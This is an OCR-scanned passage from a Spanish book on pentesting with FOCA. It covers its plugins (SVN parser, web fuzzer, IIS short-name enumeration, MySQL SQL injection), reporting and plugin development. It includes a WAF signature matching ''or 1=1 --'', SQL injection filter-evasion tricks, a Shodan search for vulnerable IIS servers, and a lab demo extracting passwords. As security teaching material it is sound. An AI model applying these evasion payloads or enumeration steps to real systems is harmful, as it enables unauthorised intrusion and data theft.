todas las versiones de ese documento y descargarlas directamente desde Archive.org. Hay que tener
presente que desde Archive.org se puede obtener la Url del sitio que se copid, pero también la Url
del documento copiado por ellos en cada una de las fechas que tienen.

3.Plugins en FOCA

En la dltima version que se hizo puiblica de FOCA se incorpora una pequefa AP/, que aunque no deja
de ser un interfaz de conexion muy rudimentario, permite a los usuarios desarrollar y cargar plugins.
En la actualidad hay creados ya varios plugins, que se presentaran a continuacién, y que permiten
sacar aiin mas partido a la herramienta, pero cualquier usuario puede desarrollar sus propios plugins
para ampliar la funcionalidad de FOCA.

Por un lado, los eventos de la AP/ de FOCA permiten a los plugins capturar determinados mensajes
que les son enviados en cuanto estos se producen. Entre los eventos que se encuentran disponibles
estan OnNewDomain, OnNewlP, OnNewURL, OnNewProject y OnNewDocument, que son lo
suficientemente autodescriptivos para saber cuando se envian.

Events

Imagen 05.19: Esquema de funcionamiento de la 4PI de FOCA.

Por otro lado, para que los plugins puedan interactuar con el interfaz grafico de FOCA, la API pone
a disposicion del desarrollador muchas operaciones, como AddDomain, Addproxy, AddBackup,
AddUser, AssignRol o AddContextMenu.

Con estos valores, por ejemplo, se podria capturar el descubrimiento de una nueva direccién IP
y lanzar por ejemplo una herramienta especifica para hacer un fingerprinting de software web
especifico y los resultados obtenidos enviarlos al proyecto de FOCA para que puedan ser mostrados
en la interfaz de la herramienta.

En la parte final de este libro puede encontrarse un ejemplo en el que se muestra como desarrollar un
plugin sencillo desde cero y en el que se cuentan todos y cada uno de los mensajes que se generan
y cuando se generan, para que se puedan adaptar las llamadas necesarias del plugin que se quiera
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construir. Todos los plugins se instalan y desinstalan en /'OCA a través de la opcion Load/Unload
Plugins del ment Plugins Ahora vamos a ver los que ya estan construidos.

Plugin .svn/entries parser

El objetivo final que persigue el uso de este plugin es tratar de averiguar el maximo posible de
informacidn relativa a la estructura interna de un servidor o de un dominio completo, y buscar
archivos con informacion sensible para la seguridad, como pueden ser ficheros con contrasefias,
conexiones a bases de datos o archivos con copias de seguridad, que los administradores hayan
podido pasar por alto pensando que no eran accesibles y que, en ultima instancia, puedan permitir
una escalada de privilegios.

El plugin .svn/entries parser permite analizar los ficheros .svn/entries que hayan sido descubiertos
en alguno de los servidores del dominio auditado. Estos archivos almacenan la informacion de las
altimas actualizaciones que se han realizado en un proyecto de desarrollo que utilice SFN como
gestor de codigo, y son ficheros de texto en los que puede aparecer gran cantidad de informacion,
como usuarios, rutas internas, fechas e informacion tactica de la compaiiia que puede ser de mucha
utilidad para lanzar ataques de fuerza bruta, localizar ficheros ocultos o perdidos, o simplemente
nuevas URLs de servidores web para analizarlos posteriormente con FOCA.

Una vez que FOCA ha descubierto un servidor con esta vulnerabilidad, el analisis de todos estos
ficheros es posible realizarlo con el plugin de forma muy sencilla, ya que basta con indicar la
direccion en la que estd almacenado dicho fichero y el plugin clasificara los datos por extensiones y
por ficheros, en forma de arbol.

Como se puede observar en la imagen 05.20, dentro de estos ficheros es posible localizar rutas
a bases de datos o rutas a ficheros de log de errores. Hay que tener presente que esos ficheros
supuestamente se encuentran en entornos de desarrollo, donde aun no se han aplicado todas las
medidas de seguridad.

Folders view | Exdensions view | About | Ifddm..m. Extensions view | About |

E Cl/rwwa C‘ Extensions (https://edseminars apple.com/seminars/)
@3- femai o @ php

, | - o

&-sq
I “seminars/seminars_2011-07-26 s}
{#}-name
& iml
&-js

Imagen 05.20: Informacion localizada parseando un fichero .svn/entries.




196 Pentesting con FOCA

De hecho, utilizando este plugin con el sitio web de Apple, investigadores de Informatica64
localizaron una shell de uso interno de esta compafiia que permitia explorar todo el sistema de
ficheros del servidor. Por supuesto el problema fue notificado a Apple, quienes, tras solucionarlo,
publicaron en su web una mencion dando crédito y agradeciendo el descubrimiento.

Plugin Web Fuzzer

El plugin web Fuzzer puede ayudar al pentester a localizar paginas y recursos no enlazados en un
sitio web. El que no estén enlazados por ninglin otro archivo que esté en la web, y el que estén sin
Indexar en los buscadores no quiere decir para nada que no esté alli el archivo. Para ello, mediante
un escaneo automatico basado en diccionarios y con patrones de comportamiento especiales se
puede ampliar el nimero de ficheros localizados.

Durante las auditorias web es bastante habitual encontrar recursos en los mismos directorios donde
se aloja la pagina web, que no han sido enlazados desde el sitio web porque el administrador no
quiere que sean accedidos por los usuarios, pero que a él le resulta muy comodo tener en esa misma
localizacion. Los recursos que pueden encontrarse con esta técnica podrian incluir una copia de
seguridad de una parte del sitio web, un script de mantenimiento, un panel de control del CMS o un
phpMyAdmin, por citar algunos ejemplos.

El Web Fuzzer tiene un funcionamiento muy sencillo de entender. Para hacerlo funcionar tan solo se
necesita un fichero que haga de diccionario con una buena cantidad de palabras comunes que sean
habituales en los sitios web. Ese conjunto de términos del diccionario ird siendo sustituido en todas
las peticiones GET que se realicen en la posicion donde se ha escrito la palabra FOCA - que actia
como variable -, tal y como se muestra en la imagen siguiente

URL

[http: /I
Lize ROCA as mark of the fuzz point. Ex: Mo/ serverFOCA php

Wordlist

[c:‘\Users\‘im\bnx\wurd]‘ists'\users.txt |

es,/~FOCA

i Ll Load 1ist |
Hide response with code Hide response with length
[404,31337 | [13001 |
Hide response with lines Hide response with words
[170 | [z083 |

+F start

Imagen 05.21: Configuracion del plugin Web Fuzzer.
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En el ejemplo mostrado se habia detectado con FOCA previamente que ese servidor estaba utilizando
mod_user dir. Por tanto, con el objetivo de encontrar todos los directorios de usuarios posibles que
se encontraran en el servidor, se puede crear un archivo con la lista de usuarios localizados por
FOCA en las fases anteriores de andlisis de metados y afadir al diccionario una lista de usuarios
comunes para que el plugin trate de comprobar si los recursos existen.

En los resultados que muestra el plugin se obtienen aquellas respuestas que han devuelto un
determinado codigo de servidor y/o que son de un tamaifio distinto en palabras, lineas o peso total
en hytes a las que el usuario ha configurado para ser ocultadas y no generar ruido en la visualizacion
de los mismos.

d en: 7668, words , 1ines: 168]
! [cod: 200, len:5419, words: 698, lines: 103]

™| [cod: 200, len:1706, words: 73, lines: a1] es/~bel
7 (cod: 200, 1en:87s, words: 41, lines: 17] es/~berna
] [cod: 200, len:3509, words: 187, Tines: 80] es/~brigitte
o Select all ¥ unselect all s Add to FOCA b Export
htip: //AEREEE es/~brynna
lj; stop

Imagen 05.22: Resultados obtenidos con el plugin Webh Fuzzer.

Como se puede ver, este plugin cuenta con unos botones que permiten exportar las URLs a un
fichero, o seleccionar qué URLs descubiertas se tienen que enviar al proyecto principal de FOCA
para continuar con el analisis de la nueva informacidn descubierta.

Plugin IIS Shortname Extractor

El plugin 1IS Shortname Extractor permite extraer el listado de ficheros de un servidor el que FOCA
haya localizado la Vulnerabilidad IIS Url Shortname. Este bug, tal y como se explica en el capitulo
4, permite realizar un descubrimiento de archivos en un servidor Internet Information Services por
medio del sistema de nombres acortados que aun incorpora el sistema de ficheros en Microsoft
Windows.

Por tanto, un servidor /IS vulnerable es practicamente como si tuviera un listado de directorios
abiertos, ya que un atacante solo tendria que automatizar una herramienta, como este mismo
plugin, para obtener la lista de ficheros y directorios almacenados en el servidor. Por este motivo es
sorprendente la gran cantidad de servidores web vulnerables que es posible encontrar conectados a
Internet, y llama especialmente la atencion lo habitual que es localizar esta vulnerabilidad en sitios
gubernamentales o relacionados con la seguridad nacional de muchos paises, incluso de aquellos
preocupados por la ciberseguridad.
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Para localizar servidores vulnerables es posible utilizar Shodan. Simplemente usando la cadena de
busqueda /1S, Shodan devolvera equipos en los que en la cabecera Server devuelta por los servidores
web ha encontrado esta cadena, es decir, servidores Internet Information Services, y FOCA buscara
en todos los /IS que encuentre esta Vulnerabilidad, tal y como se ha visto anteriormente.

Un vez encontrado un servidor vulnerable, la extraccion de la informacion de los ficheros y
directorios alojados en €l es una tarea sencilla que puede automatizarse con este plugin o con el
que se presenta a continuacion, que es en realidad una version mejorada que aprovecha también la
potencia del Fuzzer.

hitp 27528 mom/globa 1

Imagen (05.23: Extrayendo informacion de los ficheros con el plugin 1IS Shortname Extractor

Este plugin se hizo con bastantes limitaciones, asi que se decidié hacer uno nuevo que aunara la
potencia del webfizzering y el bug de I1S Short Name, y es el siguiente que puedes ver a continuacion.

NTFS Based Server Enumerator

El plugin NTF'S Based Server Enumerator nace como una combinacion de los dos anteriores, ya que
hace uso tanto del scanner /IS Short Name como del Web Fuzzer para tratar de obtener la estructura
interna del servidor analizado. Se trata éste de un plugin altamente configurable, y presenta cuatro
pestafias para que el auditor lo ajuste a sus necesidades.

En la primera pestafia se selecciona la U/ a atacar, el tipo de servidor, si se desea utilizar el Fuzzer
de carpetas para nombres de menos de 8 caracteres de longitud, los diccionarios para reconstruir las
carpetas de 8:3 y un listado de User-Agents a utilizar.

En esta version, a diferencia del plugin anterior, se soportan 3 tipos distintos de servidores distintos:
1IS 5-6, IIS 7'y Ngix (en fase de pruebas en el momento de escribir este libro). A pesar de que en
todos los servidores se explota la Vulnerabilidad de forma similar, existen ciertas variaciones entre
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ellos. De hecho, aunque el servidor Nginx también es vulnerable a este bug, no tiene todas las
posibilidades disponibles en los servidores /75.

En la siguiente pestafia se encuentran los controles avanzados de rendimiento, en los que se puede
configurar el nimero de hilos del Fuzzer, el del scanner de short names viene prefijado, el maximo
numero de hilos concurrentes, el nimero maximo de reintentos en caso de error en la peticion de las
URLs y el retraso en el lanzamiento de cada hilo segun el tipo. Hay que tener en cuenta que tanto el
scanning de ISS Short name - que es un ataque Blind - como el del Fuzzer - que es una fuerza bruta
- son intensivos, asi que para no tumbar el servidor conviene poder regular la intensidad del plugin.

En la seccion de los diccionarios aparece la ruta relativa a cada uno de los diccionarios utilizados.
Debe tenerse en cuenta que el Gnico utilizado en el Fuzzer es el que viene indicado con el nombre,
el resto se utilizan para recomponer el nombre de archivos y carpetas, (el del User-agent no es
configurable) y si se hace doble clic en los fexthox aparece un cuadro de dialogo para seleccionar un
diccionario propio.

En la cuarta pestafia se pueden configurar parametros especiales como son el rango de simbolos
a probar, el rango de carpetas con el mismo nombre a abarcar y la posibilidad de alterar el
comportamiento del programa si el servidor incorpora algiin tipo de proteccion que arroje codigo de
redireccion en caso de error.

Urt: hitp//www ste es/ | [ Enable Fuzzer [#] Random User-Agents
SeverType HS5y6 v Jax [#] Enable Shorter [#) Use dictionaries
[0 &)  Nemax concument 74 24 Delay between fuzzer 10000 1=
N2 fuzzer threads: [ r—‘. threads: == threads (ms): e
Delay between shorter 110000 12!
threads (ms): e
ilﬂﬂ”ﬂl! Mwmmﬂsm th1 --\m—“--I“"m"“_“w_“:-h-.ﬁ-‘-"'
Fuzzer \Dictionares'ul b funiliary 2 \Dictionaries\extra ba
: ST e e T 1
d!dhﬂ'ﬁl: 123456789 _~@'$8, TDE’;WS +" are
£ Avoid 302 . i T

Imagen 05.24: Opciones de configuracion del plugin NTFS Based Server Enumerator.
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El plugin NTFS Based Server Enumerator presenta diferentes vistas para que el auditor pueda
conocer en cualquier momento el estado del analisis. El panel de monitorizacién muestra un resumen
del estado del plugin y del trabajo realizado, con informacién sobre el niimero de hilos en uso y la
cantidad de elementos encontrados hasta el momento.

Por su parte, el panel de seguimiento ofrece informacion con mayor detalle de las peticiones que
se estan realizando y de otros mensajes sobre el estado del plugin para conocer si la ejecucion esta
funcionando correctamente o si se esta produciendo alguna situacion anémala.

Y, por Gltimo, el panel grafico de resumen permite apreciar de manera mas visual los resultados
obtenidos mediante un arbol autogenerado a partir del sitio web y las extensiones de los ficheros que
causan un comportamiento especial por parte del servidor, generalmente errores 500.

Una de las caracteristicas del funcionamiento de este plugin es que la interaccion con FOCA es
constante. Tras iniciar el plugin, la primera accién que se realiza es el envio de la Url a FOCA para
que €sta busque en internet elementos como el robot.txt u otras URLs.

Después se queda esperando a recibir las direcciones Url reconocidas para regenerar un arbol de
directorios del sitio web ya conocidos y hacer que el escaneo sea mucho mas rapido. Cada vez que
reconoce una Ur/ completa y se procede a analizarla con el plugin, esta Url es devuelta de nuevo a
FOCA para que la analice buscando los métodos HTTP soportados, listados de directorios abiertos,
ficheros .listing, etcétera. Resulta obvio, pero digno de mencion, que al configurar FOCA para que
use un Proxy, los paquetes generados por el plugin también son redireccionados a través del proxy.

De manera automatica el p/ugin esta preparado para guardar el progreso del mismo cada 10 minutos
en la carpeta “C:\Users\Ususario\FOCA”. Del mismo modo, durante el proceso de inicio el plugin
buscara dicho archivo para precargar el estado antes del Gltimo cierre. De modo adicional se presenta
la posibilidad de realizar el proceso manual.

Como comentario final sobre el p/ugin habria que mencionar que el auditor puede realizar correcciones
de forma manual en todo momento. En el mismo panel en el que se encuentran las opciones de
carga y guardado se puede acceder a un ment especial que permite interactuar directamente con los
resultados obtenidos por el plugin.

En dicho panel se muestra un listado desplegable con todas las direcciones Ur! encontradas y un
campo de texto para las sugerencias. Si selecciona la opcion “check™ el plugin comprobara, de
manera muy ligera, la validez de las opciones encontradas, en caso contrario forzara los cambios.
El boton “Remove” eliminara la direccion url del plugin y el boton “Apply” procedera a efectuar los
cambios,

Taly como se comentabaal presentar el p/ugin .svn/entries parser, para probar algunas funcionalidades
de FOCA se habia estudiado con la herramienta el dominio Apple.com, y ademas de descubrir y
notificar algunas vulnerabilidades, se obtuvo la conclusion de en Apple no son demasiado propensos
a usar solo su tecnologia en lo que a los sitios web que publican se refiere.
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A file-existence disclosure issue was addressed. We would like to acknowledge
Chema Alonso and José Miguel Soriano of Informatica64.com for reporting this issue.

Imagen 05.25: Extraccién de ficheros y reconocimiento del fallo en Apple.

Por tanto, cuando el plugin NTFS Based Server Enumerator estuvo listo, el primer sitio con el que
se probo fue con el de Apple. Asi, tras realizar un pequefio test sobre uno de sus servidores /IS y
extraer la lista de ficheros del servidor, el problema fue notificado a Apple, quienes lo comprobaron,
arreglaron y agradecieron publicamente.

Plugin Auto SQLi searcher

Otro de los nuevos plugins disponibles para FOCA es el plugin MySQL Injector, que permite
automatizar la extraccion de datos de una aplicacion web de la que se ha determinado que es
vulnerable a un ataque de SQOL injection.

Los ataques de SQL injection tienen éxito cuando una aplicacion web concatena en las consultas a
la base de datos la informacion enviada por los usuarios de la aplicacién sin filtrar y sin validar, lo
que abre la puerta a que un atacante pueda ejecutar comandos mediante la concatenacién de datos
manipulados para extraer y modificar la informacion del servidor.

Ademas de las técnicas de SQL injection y Blind SQOL injection, el plugin MySQL Injector incorpora
técnicas de evasion de WAF (Web Application Firewalls) para tratar de saltarse las protecciones y
filtros que estos dispositivos establecen para proteger el servidor web.

La mayoria de los WAF e IDS (Intrusion Detection Systems) suelen configurarse como un proxy
reverso o como un modulo del propio servidor web y se basan habitualmente en el uso de firmas,
de forma que analizan cada una de las peticiones recibidas por el servidor buscando determinados
patrones, como “‘or [=1", para bloquear aquellas peticiones que han sido marcadas como
sospechosas en la politica establecida por el administrador.

El siguiente coddigo podria ser un ejemplo (sencillo) de una firma de un WAF que protege al servidor
de ataques SQL injection:

alert tcp any any -> SHTTP SERVERS 5HTTP_PORTS \
(msg: “Detectado atagque S50L injection, Tu IP ha sido registrada®; \
flow: to server, established; ceontent: “' or 1=1 —--"; nocase; sid: 1; rev:1l;)
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Imagen 05.26: Configuracion del plugin MySQOL Injector.

El plugin MySQL Injector hace uso de diferentes técnicas para tratar de evadir estos filtros, como la
sustitucion del operador “and” por los caracteres “%26%26”, o del operador “or” por “||”, el uso de
comentarios (“or 1/*%/=/*%/]"") o la intercalacion de letras mayusculas y mintsculas en la peticion,
y el usuario de FOCA puede elegir y modificar estos parametros en las opciones de configuracion
del plugin, tal y como se muestra en la imagen 05.25 de la pagina anterior.

Para mostrar el funcionamiento de este p/ugin se va a hacer uso de los ejercicios Web for pentesters
de PentestersLab®, que es un proyecto creado por Louis Nyffenegger disefiado con el objetivo de
ayudar a usuarios noveles en el arte del penfesting a conocer las vulnerabilidades mas comunes de
las aplicaciones web.

El curso incluye una maquina virtual que el usuario puede utilizar para realizar Pruebas de Concepto
de los diferentes ejercicios y desafios que se proponen y, como no puede ser de otra forma, una de
las vulnerabilidades estudiadas en estos ejercicios son las inyecciones SQL.

En la imagen siguiente se puede ver el resultado que se obtiene tras analizar una direccion Ur/ del
servidor web que el proyecto distribuye detectando que el parametro que recibe la ur/ es vulnerable.
Una vez descubierto un parametro vulnerable el usuario puede hacer uso de los botones Dbs, Tables
y Columns del para que la herramienta trate de obtener el nombre de la base de datos, sus tablas y
las columnas de cada tabla.

4 HTTP://pentesterlab.com/
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Imagen 05.27: Analizando una ur/ para comprobar si un parametro es vulnerable .

Seleccionando cada una de las tablas que aparecen en el arbol de objetios, el usuario también puede
usar el plugin para tratar de extraer los datos almacenados en ella. Estos datos se visualizan tal y
como se puede ver en la imagen siguiente.

Data | Queny |

o age groupid Ppasswd
10 10 adimin
2 30 0 admin21
3 5 2 secret
5 user2 2 5 azerty

| »

Imagen 05.28: Datos extraidos con el plugin de la tabla users.

Es evidente que el ejemplo mostrado se trata de una inyeccion SQL de libro, preparado para ser
utilizado en un aula o en laboratorio de pruebas. Sin embargo, a pesar de ser unas técnicas con mas
de 10 afios de vida, de ser muy conocidas y estudiadas por todos los expertos en seguridad y de que
existen multitud de herramientas automaticas de deteccion, lo cierto es que, segin OWASP (Open
Web Application Security Project), las técnicas de inyeccion de codigo ocupan el primer puesto en
el top 10 de vectores de ataque mas probables a aplicaciones web, y siguen conociéndose noticias de
sitios de compaiiias importantes que han sido comprometidos por una Vulnerabilidad de este tipo.
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Un ejemplo muy sonado se ha producido a comienzos del afio 2013, al reconocer la empresa Bit9°
que uno de sus servidores web conectados a Internet habia sido comprometido utilizando un ataque
de SOL injection, lo que ironicamente habia permitido a los delincuentes utilizar los sistemas de Bir9
como plataforma para atacar a otras compaiiias.

La plataforma de seguridad basada en la confianza (Trust-based Security Platform) de Bit9, que es
utilizada por empresas incluidas en la Fortune 500 (las 500 compafiias que facturan mas dinero de
Estados Unidos) e, incluso, por agencias de defensa y aeroespaciales del gobierno federal de este
pais, monitoriza toda la actividad de los equipos y servidores en los que se instala la solucion para,
utilizando un soffware de reputacion en la nube combinado con una serie de politicas definidas por
los administradores y una lista blanca, tratar de detectar y detener amenazas que suelen escapar de
los sistemas antimalware tradicionales.

Segtin la version del CTO de la empresa, los atacantes consiguieron acceso a la maquina virtual
que se usa para firmar su codigo, de manera que pudieron utilizar el certificado de Bit9 para
firmar 32 programas maliciosos, troyanos y puertas traseras, fundamentalmente. De esta forma, el
malware aparecia como soffware legitimo, ya que estaba firmado por Bit9, por lo que los criminales
pudieron colocar estos programas en otros sitios web para preparar un ataque drive-by-Download
aprovechandose de versiones de Java vulnerables para instalar este malware en los equipos que
visitaban los sitios web comprometidos.

4. Gestor de informes

FOCA también incorpora un gestor de informes para poder exportar y tratar los resultados que se
extraen de los proyectos. Esta caracteristica, conocida como FOCA Reporting Tool o el nombre
interno que se le puso al proyecto “La Foquetta”, es otra de las que se incluian anteriormente solo
en la version Pro de FOCA. Es necesario tener presente que esta opcion requiere la instalacion de un
modulo de Crystal Reports, porque esta basado en este software para crear los documentos,

Ademas, el modulo no permite crear informes de todos los elementos del proyecto y esta centrado
principalmente en los metadatos. Para crear un informe el primer paso es seleccionar el tipo de
informe que se quiere realizar. Existen tres tipos:

- Informe de documentos: Este informe generara una lista de todos los documentos y todos
los metadatos descubiertos en cada uno de ellos.

- Informe de metadatos: en este caso se genera una lista organizada por tipos de mefadatos,
tales como usuarios, versiones de soffware, rutas de impresoras, servidores, etc.
- Informe de red: Con él se obtendra un resumen de los datos obtenidos por cada servidor,
es decir, de cada maquina de la red se obtendran sus direcciones /P, nombres de dominio
asociados, como ha sido descubierto, las rutas locales, las versiones de software, las
tecnologias que implementan, la informacion de fingerprinting, etcétera.

5 HTTP:/fwww.cio.com/article/729401/Hacking Victim Bit9 Blames SQL _Injection_Flaw
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Una vez elegido el tipo de informe a generar, el asistente permite al usuario seleccionar los tipos de
propiedades que le interesa incluir en el informe (usuarios, carpetas, impresoras, correos electronicos,
fechas, otros metadatos, historial, soffware, datos EX/F y versiones antiguas) v, de cada uno de esos
tipos, los atributos en concreto obtenidos.

R
Select a category to manage the attribudes of it. If you want to select or deselect
all the categories or attributes, use the buttons below.

>

Report
<« Categories Atributes:
It altows the user to display B Comments
computers extracted by 3
FOCA, assigning to each of
themn their corresponding
metadata,

Imagen 05.29: Seleccionar propiedades y atributos a incluir en el informe.

A continuacion, es posible establecer un filtro por fecha, seleccionando la fecha desde la que se
quieren incluir datos en el informe y, por ultimo, elegir los tipos de graficos que se desean agregar.

Los tipos de graficos disponibles son los siguientes:
- Numero de documentos por tipo
- Metadatos por tipo de documentos
- Usuarios por tipo de documentos
- Usuarios remotos por tipo de documentos
- Carpetas por tipo de documentos
- Impresoras por tipo de documentos
- Correos electronicos por tipo de documentos
- Fechas por tipo de documentos
- Software por tipo de documentos
- EXIF por tipo de documentos
- Historial por tipo de documentos
- Versiones antiguas por tipo de documentos
- Oftros metadatos por tipo de documentos
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Imagen 05.30: Seleccionar graficos a incluir en el informe.

En ese momento, al pulsar sobre el boton Build, se genera el informe y se muestra la previsualizacion
del mismo en pantalla. Utilizando los botones de navegacion de la herramienta el usuario puede leer
el informe, buscar una cadena de texto o aplicar un zoom en alguna zona determinada, y también es
posible imprimir o exportar el documento a alguno de los formatos disponibles, que son rpt (Crystal
Reports), pdf, doc, xis vy rif.
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Imagen 05.31: Previsualizacion del informe en pantalla.
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Una vez exportado el documento generado desde el modulo de informes de FOCA en cualquiera de
los formatos seleccionados, sera posible tratar y personalizar el informe en el editor correspondiente
para, por ejemplo, cargar una plantilla y adaptarlo a la politica de imagen corporativa. La gran
pregunta que debes hacerse un usuario con esta opcion es... jtendra metadatos el informe de
metadatos generado por la FOCA? Tendras que averiguarlo probandolo.

Silo que se desea obtener es un informe de otras partes del proyecto, como la parte de vulnerabilidades,
o un informe detallado de los datos de un servidor concreto que ha sido auditado con FOCA, etcétera,
con esta opcion no es posible. Como alternativa, lo que hay que hacer es ir al panel de FOCA, elegir
la parte en la que estd interesado hacerse el infome y exportar los datos a un fichero en formato Tx/
que pueda ser tratado posteriormente con cualquier otra herramienta.

Printer PDF ProVer 6.30 Build 4782-4780 1

Imagen 05.32; Exportar datos desde FOCA a un fichero de texto

Esta opcion esta disponible en todos los elementos de FOCA en las opciones del ment contextual
que se obtiene cuando se hace clic con el botén derecho del raton sobre un objeto, tal y como se
puede ver en la imagen superior.

FOCA Online

Para aquellos usuarios que no puedan instalar FOCA en su equipo o que tan s6lo necesiten probar
la extraccion de metadatos, es posible utilizar FOCA Online®, una aplicacion web permite realizar
anélisis de metadatos de los siguientes tipos de ficheros: .doc .ppt .pps .xls .docx .pptx ppsx xlsx
Sxw .sxc .sxi.odt .ods .odg .odp .pdf .wpd .svg svez jpg.

Hay que tener en cuenta que esta herramienta s6lo permite analizar los metadatos de los documentos
de forma individual, por lo que no incorpora el resto de funcionalidades como las del descubrimiento
de la red o el analisis de vulnerabilidades. El funcionamiento de FOCA Online es extremadamente
sencillo. El usuario debe acceder al sitio web, seleccionar el fichero del que desea extraer los
metadatos y pulsar sobre el boton “Analizar Fichero!”,

Tras unos instantes en los que se envia el fichero al servidor y FOCA analiza el archivo, en la web se
visualizaran los metadatos genéricos obtenidos: sistema operativo, aplicacion, estadisticas, nimero
de ediciones, etcétera. los datos relativos a las fechas de creacién y modificacion, los usuarios, las
rutas, el historial de edicion del documento y la informacion relativa a los objetos incrustados, como
los datos £XTF de las imagenes que se han insertado en el documento, que FOCA haya sido capaz
de extraer del archivo.

6 HTTP://www.informatica64.com/FOCA/
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Imagen 05.33: Datos obtenidos del fichero “TonyBlair.doc” con la herramienta FOCA Online.

5.Mas trucos con FOCA

FOCA vya se ha hecho una herramienta muy popular en Internet y mucha gente la utiliza. El
niimero de descargas de la herramienta la Gltima vez que se comprobd habia superado las 200.000.
Ha salido en noticias muchas veces por haber sido utilizada para destapar alguna polémica, en
muchas conferencias de seguridad se habla de ellas - incluso el mitico hacker Kevin Mitnick es un
usuario habitual de la FOCA y es comun encontrarle hablando de las funciones de ella en todas
sus conferencias -, y ha aparecido en operaciones de grupos hacktivistas como AnOnymous que la
utilizan como parte de sus auditorias.

Muchas veces, la forma en la que se utiliza FOCA escapa a los objetivos iniciales de la misma, y se
integra de diversas maneras en los procesos de auditoria. Una de las formas en que se utiliza FOCA
ha sido integrada con Maltego, otra herramienta de inteligencia basada en OSINT (Open Source
INTelligence).

Esta herramienta permite importar servidores, dominios, nombres de usuarios, etcétera, y lo que
mucha gente hace es, primero lanzar FOCA, y luego importar los resultados en Maltego para
tener una representacion grafica dinamica de todos los activos descubiertos y continuar el proceso
manualmente. Los limites a la hora de utilizar FOCA son tuyos, asi que no te los pongas.
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Imagen 05.34: Representacion de equipos descubiertos en Maltego.
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Capitulo VI
Como crear plugins para FOCA

1.Creacion de un plugin basico

En el capitulo anterior se ha estado hablando de como funcionan los plugins existentes de FOCA,
pero lo cierto es que cada uno puede extender la funcionalidad de la herramienta por medio de
nuevos plugins. Actualmente FOCA es capaz de descubrir un buen niimero de vulnerabilidades, pero
no es capaz de explotarlas todas. Para ello podria ser una buena idea generar un plugin.

Por poner un ejemplo, FOCA es capaz de descubrir que un servidor tiene activado el modulo
mod_negotiation que sugiere otros archivos en el mismo directorio cuando se pide el archivo sin
extension. Un buen plugin podria ser aquel que dado un servidor con mod negotiation y todas las
URLs que han sido descubiertas, busque los backups abusando de este médulo.

O infinidad de funciones mas, como por ejemplo afiadir herramientas externas de escaneo de puertos,
de fingerprinting, de extraer los ficheros de un thumbs.db o un .DS Store, de sacar los ficheros de la
base de datos pristine de Subversion o... el limite lo pones ta.

En este capitulo vamos a ver como se puede crear un plugin basico para que cada uno os creéis
aquellos plugins que necesitéis para cada ocasion y si queréis, los compartdis con el resto de usuarios
de FOCA. Como se ha dicho previamente, la APl de FOCA esté en la version 0.1, es decir, en un
estado muy rudimentario, y por tanto muy limitada en cuanto a funciones que se pueden hacer, pero
aun asi se pueden crear muchas cosas.

FOCA esta desarrollada en .NET, asi como todos los plugins de los que hemos hablado, asi que os
vamos a contar como podriais hacer un plugin usando también esta tecnologia, pero lo cierto es que
podriais usar cualquier lenguaje de programacion adaptando las propiedades de manera adecuada a
cada tecnologia.

En el caso que vamos a explicar, con un plugin basico en lenguaje .NET, utilizando Microsoft Visual
Studio - recuerda que hay versiones gratuitas de este compilador que puedes utilizar para programar
estos plugins.
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Creacion del proyecto para el plugin en Visual Studio

Para crear el plugin primero debemos crear un nuevo proyecto de tipo ‘Class Library’ para que
permita la generacion de una DLL compilada cuando hayamos terminado.

ates

| Instalied Templates

q : Visual C#
[ .3 !(_'.ﬁl Windows Forms Appfication.  Visual C# Bpe Nt
4 Voual C2 SR A project for creating a C# class library
Windows & {.dlity
Wi ,& WPF Application Visual C#
Office i
Cloud ?';I i Console Application Visual C#
Reporting =
SharePoint B ASP.NET Web Application Visual C#
Silverlight 5 a4 .
i Test I pech] Class Libresy Visual C%
WCF ; RN
Workflow ASP.NET MVC 2 Web Application Visusl C#

Other Languages

| Sikveshght Apphcation Visual C#

Imagen 06.01: Creacion del proyecto Class Library en NET.

El proyecto debe estar desarrollado sobre el Framework .NET 3.5 o inferior y la plataforma sobre
la que se debe compilar es para “Any CPU’. Esto es accesible desde las ‘propiedades del proyecto /
Build / Platform targer’.

Application _ PR,
........................ Configuration: [Acme :
me B S y— o .
Bui[de Ge"erd el e e e p—— e gt et g st
Debug® Conditional compilation symbols:
{¥] Define DEBUG constant
Resources A
7] Define TRACE constant
Services
Platform target:
9 71 Allow unsafe code
Reference Paths | F] Optimize code
ooy __Erors snd warnings

Imagen 06.02: Configuracion del proyecto para Any CPU.
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Creacion inicial del plugin e Integracion de la API de FOCA

Una vez el proyecto esté ya creado, el siguiente paso que serd necesario, es el de agregar como
referencia la DLL de la APl de FOCA (PluginsAPI.DLL). Esto se puede realizar desde ‘References

/ Add reference / Browse’.

a (] HandlerSQLi
(4 Properties
4 |7 References

< System.Core
<3 System.Data

+3 System.configuration

<3 System.Data.DataSetExtensions

Imagen 06.03: Integracion de la API de FOCA al proyecto del plugin.

Para poder llevar a cabo la comunicacion entre el plugin y la FOCA mediante la AP/ ser necesaria
la creacion de una clase publica llamada ‘Plugin’ con las propiedades ‘name’, ‘description’ y
‘exportltems’. Esta clase serd instanciada cada vez que la FOCA cargue el plugin. En la siguiente
imagen se ve una plantilla con esta estructura para que sea mas facil de entender,

public class Plugin
{

private string _name = "Name";
private string _description = "Description”;
private Export export = new Export();

public Plugin()
{

}
public string name
{
get
{
return _name;
}
set
{
_name = value;
}
}

t

public string description

{
get

{

return _description;

_description = value;

}

public Export exportItems

{

get

|
b

return export;

Imagen 06.04: Creacion de clase publica Plugin.
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Una vez llegados a este punto podremos compilar la DLL y dispondremos de una libreria basica —
pero sin funcionalidad - para ser cargada en FOCA a modo de plugin.

Plugins suppor is in beta version

Imagen 06.05: Carga vy descarga de plugins.

Desarollo de la funcionalidad del plugin

Cuando ya se tiene la estructura para manejar el plugin, hay que proceder a dotarlo de funcionalidad
para lo que habra que escribir el codigo de su funcionalidad y su integracion con cualquier proyecto
de FOCA. Para realizar el desarrollo de la DLL asi como su depuracion aconsejamos la creacion de
un nuevo proyecto dentro de la solucion del plugin.

Add New Project
t Templates
Mot T :j : ] Type Visual C#
gtﬁ Windows Forms Application  Visual C# i
4 Visual C# | A project for creating a command-line
Windows application
Web . WPF Application Visual C#
Office ; ;
Cloud m Console Application Visual C#
Reporting - . =~
SharePaint ;g ASP.NET Web Application Visual C#
Silverlight
Test E—cﬁ] Class Library Visual C#
i WCF
Workflow ‘g ASP.NET MVC 2 Web Applica...Visual C#
Other Languages
Silverlight Application Visual C#

Inﬂgul 06.06: Creacion dc un nuevo proyecto dentro del Plugin.
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Cuando se haya creado ya, hay que tener presente que este nuevo proyecto debera ser configurado
